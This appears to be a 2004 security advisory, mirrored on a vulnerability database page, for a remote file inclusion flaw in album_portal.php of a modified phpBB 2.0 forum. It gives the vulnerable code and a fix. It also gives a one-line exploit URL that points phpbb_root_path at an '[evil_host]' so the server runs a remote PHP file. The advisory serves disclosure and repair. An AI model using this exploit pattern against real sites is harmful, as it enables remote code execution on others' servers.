Lucene search
K

phpBBmod.txt

🗓️ 19 Apr 2004 00:00:00Reported by OfficerrrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 123 Views

phpBB modification allows arbitrary code execution; requires urgent code fix in album_portal.php.

Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
- --====----====----====----====----====----====----====----====----====----===--  
Product: phpBB modified by Przemo  
Version: v1.8  
Vendor: http://przemo.org/phpBB2/  
Discover by: Officerrr <officerrr at poligon.com.pl>  
Vendor Response: Not contacted yet...  
Severity: Medium (arbitary code execution as webserver user)  
- --====----====----====----====----====----====----====----====----====----===--  
Description:  
  
This modification is based on phpBB 2.0.X script, it contains about   
200 add-ons, with ability to switch off any of them in admin`s panel.  
- --====----====----====----====----====----====----====----====----====----===--  
Vulnerable code:  
File: album_portal.php  
  
[code]  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
- --====----====----====----====----====----====----====----====----====----===--  
Fix:  
  
Change the following lines in album_portal.php file  
  
[code]  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
  
to  
  
[code]  
define('IN_PHPBB', true);  
$phpbb_root_path = './';  
$album_root_path = $phpbb_root_path . 'album_mod/';  
include($phpbb_root_path . 'extension.inc');  
include($album_root_path . 'album_common.'.$phpEx);  
[/code]  
- --====----====----====----====----====----====----====----====----====----===--  
Exploit:  
http://[victim_host]/album_portal.php?phpbb_root_path=http://[evil_host]/&phpEx=/../../[evil_file.php]  
  
evil_file.php must exist on the evil_host.  
  
- --   
Dariusz 'Officerrr' Kolasinski  
<Linux Administrator> <gg: 516354>  
"Living on a razors edge, Balancing on a ledge"  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.2.4 (GNU/Linux)  
  
iD8DBQFAg+gI+p+rYQE3C+ARAtrqAJ9h0b/sOa/aLke3xWJw5ShvN1FyVQCfYkxh  
12zpKxPTwGAX9oqUfxZ4xzI=  
=/aXV  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation